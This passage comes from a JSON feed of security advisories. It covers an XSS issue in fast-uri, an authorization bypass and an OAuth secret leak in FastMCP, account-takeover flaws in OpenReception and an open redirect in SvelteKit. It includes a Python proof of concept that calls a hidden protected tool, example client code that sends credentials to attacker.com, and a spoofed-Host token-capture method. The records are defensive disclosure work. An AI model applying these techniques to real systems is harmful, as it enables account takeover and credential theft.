relative reference with `reference: 'suffix'` and then treat the result as a URI can turn inert input into a live `javascript:`, `data:`, or `vbscript:` URL (a cross-site scripting vector), and `equal()` can conflate a scheme-bearing reference with a relative one. Exposure is limited to applications that use the non-default `reference: 'suffix'` option.\n\n### Patches\n\nUpgrade to `fast-uri` `2.4.8`, `3.1.9`, or `4.2.3`.\n\n### Workarounds\n\nDo not use the `reference: 'suffix'` option on untrusted input. If suffix output is required, percent-encode a colon in the first path segment of the result before treating it as a URI.\n\nAffected package ranges reported by GitHub:\nfast-uri: < 2.4.8\nfast-uri: >= 3.0.0, < 3.1.9\nfast-uri: >= 4.0.0, < 4.2.3","action":"GitHub lists first patched versions: fast-uri: 2.4.8; fast-uri: 3.1.9; fast-uri: 4.2.3. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T21:36:40.000Z","updatedAt":"2026-10-23T21:36:41.000Z","regions":["Global"],"vendor":null,"product":"fast-uri, fast-uri, fast-uri","stacks":["JavaScript packages (npm)","fast-uri","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":3.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-333x-w4r6-6crp","asOf":"2026-10-23T21:36:41.000Z"},"epss":{"probability":0.00302,"percentile":0.22736,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110725&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-333x-w4r6-6crp","url":"https://github.com/advisories/GHSA-333x-w4r6-6crp","type":"primary","publishedAt":"2026-10-23T21:36:40.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-333x-w4r6-6crp, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110725&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110725, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-7xgj-8392-5q4r","cveId":null,"aliases":[],"kind":"vulnerability","title":"FastMCP: Post-transform component authorization is skipped on direct calls","summary":"This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.\n\nThe fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.","detail":"## Maintainer assessment and remediation\n\nThis report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.\n\nThe fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.\n\nAffected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both `fastmcp` and `fastmcp-slim` installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.\n\nFixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.\n\n## Original report\n\n# Post-transform component authorization is skipped on direct calls\n\n## Summary\n\nFastMCP's direct component paths can return a transformed component before its applicable `AuthCheck`, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit `e2fcc412001ff7414095c5dc282f94c70299a612` using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.\n\n## Details\n\n### Attacker prerequisites\n\nA server uses a supported provider, server, or session transform and a metadata-aware component `AuthCheck`. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.\n\n### Root cause\n\nListing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See [`server.py:933-940`](https://github.com/PrefectHQ/fastmcp/blob/v4.1.0/fastmcp_slim/fastmcp/server/server.py#L933-L940). The MCP `tools/call` handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.\n\n## Proof of concept\n\nSave this as `poc_transform_auth.py`:\n\n```python\nimport anyio\n\nfrom fastmcp import FastMCP\nfrom fastmcp.server.auth import restrict_tag\nfrom fastmcp.server.transforms.tool_transform import ToolTransform\nfrom fastmcp.tools.base import Tool\nfrom fastmcp.tools.tool_transform import ToolTransformConfig\n\nasync def main() -> None:\n server = FastMCP(\"auth-boundary\")\n server.add_tool(\n Tool.from_function(\n lambda: \"PROTECTED SECRET\",\n name=\"tagged_tool\",\n tags={\"public\"},\n auth=restrict_tag(\"admin\", scopes=[\"admin\"]),\n )\n )\n server.add_transform(\n ToolTransform({\"tagged_tool\": ToolTransformConfig(tags={\"admin\"})})\n )\n\n print(\"listed:\", [tool.name for tool in await server.list_tools()])\n try:\n result = await server.call_tool(\"tagged_tool\")\n except Exception as exc:\n print(\"BLOCKED:\", type(exc).__name__)\n else:\n print(\"VULNERABLE: direct call returned\", result.content[0].text)\n\nanyio.run(main)\n```\n\nRun it in an isolated environment:\n\n```bash\nuv run --with fastmcp==4.1.0 -- python poc_transform_auth.py\n```\n\nObserved on 4.1.0 for a caller without the `admin` scope:\n\n```text\nlisted: []\nVULNERABLE: direct call returned PROTECTED SECRET\n```\n\n## Impact\n\nA low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.\n\n### Recommended remediation\n\nApply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable `AuthCheck` runs.\n\n## AI assistance\n\nYes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.\n\nAffected package ranges reported by GitHub:\nfastmcp: >= 3.0.0, < 3.4.10\nfastmcp: >= 4.0.0, < 4.1.2\nfastmcp-slim: >= 3.0.0, < 3.4.10\nfastmcp-slim: >= 4.0.0, < 4.1.2","action":"GitHub lists first patched versions: fastmcp: 3.4.10; fastmcp: 4.1.2; fastmcp-slim: 3.4.10; fastmcp-slim: 4.1.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T21:32:06.000Z","updatedAt":"2026-10-23T21:32:07.000Z","regions":["Global"],"vendor":null,"product":"fastmcp, fastmcp, fastmcp-slim, fastmcp-slim","stacks":["Python packages (PyPI)","fastmcp","fastmcp-slim","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://github.com/advisories/GHSA-7xgj-8392-5q4r","asOf":"2026-10-23T21:32:07.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-7xgj-8392-5q4r","url":"https://github.com/advisories/GHSA-7xgj-8392-5q4r","type":"primary","publishedAt":"2026-10-23T21:32:06.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-7xgj-8392-5q4r, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-vqqp-x5qm-5qp4","cveId":null,"aliases":[],"kind":"vulnerability","title":"FastMCP MCP client wrappers construct M2M OAuth providers without issuer binding — client secret redirectable to attacker-advertised authorization server","summary":"This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.\n\nAffected stable versions are 4.0.0–4.1.1 of `fastmcp` and `fastmcp-slim`. The wrappers were introduced in 4.0.0a1; 3.x does not include them.","detail":"## Maintainer assessment and remediation\n\nThis report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.\n\nAffected stable versions are 4.0.0–4.1.1 of `fastmcp` and `fastmcp-slim`. The wrappers were introduced in 4.0.0a1; 3.x does not include them.\n\nThe 4.1.2 fix adds `issuer` to `ClientCredentialsOAuthProvider` and `PrivateKeyJWTOAuthProvider` and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.\n\n**Configuration required for protection:** configure `issuer` with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits `MCPDeprecationWarning`. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.\n\n```python\nfrom fastmcp.client.auth import ClientCredentialsOAuthProvider\n\nauth = ClientCredentialsOAuthProvider(\n client_id=\"my-client-id\",\n client_secret=\"my-client-secret\",\n issuer=\"https://auth.example.com\",\n)\n```\n\n## Original report\n\n### Summary\n\nfastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.\n\n### Details\n\nWhen fastmcp connects to an MCP server with OAuth client credentials:\n\n1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)\n2. Provider binds to server URL and discovers OAuth metadata\n3. Client exchanges credentials at the token endpoint\n4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises\n5. Attack: attacker-controlled MCP server advertises attacker's authorization server\n6. Result: client secret leaked to attacker\n\nAffected code:\n- fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)\n * __init__ signature has no issuer= parameter\n * _bind() calls super().__init__(server_url=mcp_url, ...) without issuer=\n\n- fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider) \n * __init__ signature has no issuer= parameter\n * _bind() calls super().__init__(server_url=mcp_url, ...) without issuer=\n\nThe underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.\n\nExample vulnerable usage:\n```python\nauth = ClientCredentialsOAuthProvider(\n client_id=\"my-client-id\",\n client_secret=\"my-client-secret\",\n)\nasync with Client(\"https://attacker.com/mcp\", auth=auth) as client:\n # Client credentials get sent to attacker's auth server if attacker's MCP \n # server advertises it in RFC 9728 metadata\n await client.list_tools()\n```\n\n### Proof of concept\n\n1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises \n OAuth metadata pointing to https://attacker.com/oauth/token\n\n2. Client code:\n from fastmcp import Client\n from fastmcp.client.auth import ClientCredentialsOAuthProvider\n \n auth = ClientCredentialsOAuthProvider(\n client_id=\"legitimate-client-id\",\n client_secret=\"legitimate-client-secret\"\n )\n async with Client(\"https://attacker.com/mcp\", auth=auth) as client:\n await client.list_tools()\n\n3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)\n\n4. Attacker receives client_id and client_secret in Basic auth header\n\n5. Attacker can now impersonate the client against the legitimate authorization server\n\nThe vulnerability exists because fastmcp does not validate that the authorization \nserver advertised by the MCP server matches an expected issuer.\n\n### Impact\n\nSeverity: Medium-High\n\nAny application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, \nPrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs \nis vulnerable to credential disclosure and client impersonation.\n\nAffected parties:\n- Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers\n- Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is \n attacker-controllable or the server is compromised\n\nAttack scenarios:\n- User misconfigures MCP server URL in Prefect agent config\n- MCP server URL obtained from user input without validation\n- Legitimate MCP server is compromised/redirected\n- MCP service provider (if SaaS) is compromised\n\nAffected package ranges reported by GitHub:\nfastmcp: >= 4.0.0a1, < 4.1.2\nfastmcp-slim: >= 4.0.0a1, < 4.1.2","action":"GitHub lists first patched versions: fastmcp: 4.1.2; fastmcp-slim: 4.1.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T21:31:30.000Z","updatedAt":"2026-10-23T21:31:31.000Z","regions":["Global"],"vendor":null,"product":"fastmcp, fastmcp-slim","stacks":["Python packages (PyPI)","fastmcp","fastmcp-slim","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-vqqp-x5qm-5qp4","asOf":"2026-10-23T21:31:31.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-vqqp-x5qm-5qp4","url":"https://github.com/advisories/GHSA-vqqp-x5qm-5qp4","type":"primary","publishedAt":"2026-10-23T21:31:30.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-vqqp-x5qm-5qp4, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-65825","cveId":"CVE-2026-65825","aliases":[],"kind":"vulnerability","title":"OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform.","summary":"OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform. In versions 2.1.0 and prior, a returning client's six-digit booking PIN can be brute-forced online in the victim tenant. A successful guess yields the client's booking access token, granting access to that client's appointment tunnel, which holds their end-to-end-encrypted appointment data, and the ability to act as the client, for example adding or cancelling appointments in the tunnel. The bypass is cross-tenant: state owned by one tenant removes an authentication protection of a different tenant. This crossing of the tenant boundary is the basis for the scope-changed vector. At time of publication, there are no publicly available patches.","detail":"OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform. In versions 2.1.0 and prior, a returning client's six-digit booking PIN can be brute-forced online in the victim tenant. A successful guess yields the client's booking access token, granting access to that client's appointment tunnel, which holds their end-to-end-encrypted appointment data, and the ability to act as the client, for example adding or cancelling appointments in the tunnel. The bypass is cross-tenant: state owned by one tenant removes an authentication protection of a different tenant. This crossing of the tenant boundary is the basis for the scope-changed vector. At time of publication, there are no publicly available patches.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T21:17:24.870Z","updatedAt":"2026-10-26T18:17:50.167Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65825","asOf":"2026-10-26T18:17:50.167Z"},"epss":{"probability":0.00216,"percentile":0.1194,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-65825&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-65825","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65825","type":"primary","publishedAt":"2026-10-23T21:17:24.870Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-65825&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-65825, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-65824","cveId":"CVE-2026-65824","aliases":[],"kind":"vulnerability","title":"OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform.","summary":"OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform. Prior to version 2.2.1, an attacker who captures a pending invite token can replay it to obtain a passkey-registration credential and register their own passkey on the invited account, taking control of that account. For a staff or tenant-admin invite this yields access to the tenant context tied to that account. This issue has been patched in version 2.2.1.","detail":"OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform. Prior to version 2.2.1, an attacker who captures a pending invite token can replay it to obtain a passkey-registration credential and register their own passkey on the invited account, taking control of that account. For a staff or tenant-admin invite this yields access to the tenant context tied to that account. This issue has been patched in version 2.2.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T21:17:24.730Z","updatedAt":"2026-10-26T13:48:06.970Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65824","asOf":"2026-10-26T13:48:06.970Z"},"epss":{"probability":0.00252,"percentile":0.16551,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-65824&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-65824","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65824","type":"primary","publishedAt":"2026-10-23T21:17:24.730Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-65824&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-65824, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-58202","cveId":"CVE-2026-58202","aliases":[],"kind":"vulnerability","title":"OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform.","summary":"OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform. Prior to version 2.0.0, the account-confirmation link in emails is built from the request Host header, with no allowlist. The unauthenticated POST /api/auth/resend-confirmation rotates a pending invitee's confirmation token and emails a link whose host comes from the request. An attacker who sends one resend-confirmation with Host: attacker.example and a pending invitee's email causes that invitee to receive a confirmation email whose only link points to the attacker. If the invitee clicks, the one-time confirmation token reaches the attacker, who then confirms the account on the real tenant domain and registers a passkey they control, taking over the account before the legitimate invitee ever uses it. All released versions through v1.1.0 are affected; no patched version exists yet. Reaching the app with a spoofed Host depends on the front proxy: the stock Caddy catch-all forwards it, while an operator who configures explicit per-tenant proxy blocks is not affected (see Details 4). The invite path builds links from the trusted tenant.domain (invite/+server.ts:204-210); the resend-confirmation path builds them from the request Host. This issue has been patched in version 2.0.0.","detail":"OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform. Prior to version 2.0.0, the account-confirmation link in emails is built from the request Host header, with no allowlist. The unauthenticated POST /api/auth/resend-confirmation rotates a pending invitee's confirmation token and emails a link whose host comes from the request. An attacker who sends one resend-confirmation with Host: attacker.example and a pending invitee's email causes that invitee to receive a confirmation email whose only link points to the attacker. If the invitee clicks, the one-time confirmation token reaches the attacker, who then confirms the account on the real tenant domain and registers a passkey they control, taking over the account before the legitimate invitee ever uses it. All released versions through v1.1.0 are affected; no patched version exists yet. Reaching the app with a spoofed Host depends on the front proxy: the stock Caddy catch-all forwards it, while an operator who configures explicit per-tenant proxy blocks is not affected (see Details 4). The invite path builds links from the trusted tenant.domain (invite/+server.ts:204-210); the resend-confirmation path builds them from the request Host. This issue has been patched in version 2.0.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T21:17:24.473Z","updatedAt":"2026-10-26T13:48:06.970Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-58202","asOf":"2026-10-26T13:48:06.970Z"},"epss":{"probability":0.00236,"percentile":0.14502,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-58202&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-58202","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58202","type":"primary","publishedAt":"2026-10-23T21:17:24.473Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-58202&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-58202, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114060","cveId":"CVE-2026-114060","aliases":["GHSA-pfhg-q3qv-9q6r"],"kind":"vulnerability","title":"SvelteKit: URL redirection to untrusted site via enhanced form submission","summary":"The fix preserves leading double slashes in action paths without generating protocol-relative URLs, restricts non-redirect action navigation to the current origin, and includes the origin when comparing action locations with the current page.\n\nAlternatively, disable navigation for non-redirect enhanced form results by supplying a custom submission callback:","detail":"### Impact\nApplications using enhanced form actions (`use:enhance`) on routes that accept paths beginning with `//`, such as catch-all routes, may be vulnerable to an open redirect.\n\n### Patches\nA fix has been prepared for `@sveltejs/kit` 3.0.0. Users should upgrade to 3.0.0 or later.\n\nThe fix preserves leading double slashes in action paths without generating protocol-relative URLs, restricts non-redirect action navigation to the current origin, and includes the origin when comparing action locations with the current page.\n\n### Workarounds\nReject requests whose parsed URL pathname begins with `//` before route resolution, for example in a reverse proxy or a SvelteKit `handle` hook.\n\nAlternatively, disable navigation for non-redirect enhanced form results by supplying a custom submission callback:\n\n```svelte\n ({ update }) => update({ navigate: false })}>\n\n```\n\nThis applies non-redirect results to the current page instead of navigating to the action location.\n\nAffected package ranges reported by GitHub:\n@sveltejs/kit: < 3.0.0","action":"GitHub lists first patched versions: @sveltejs/kit: 3.0.0. Confirm the affected range and upgrade guidance in the exact 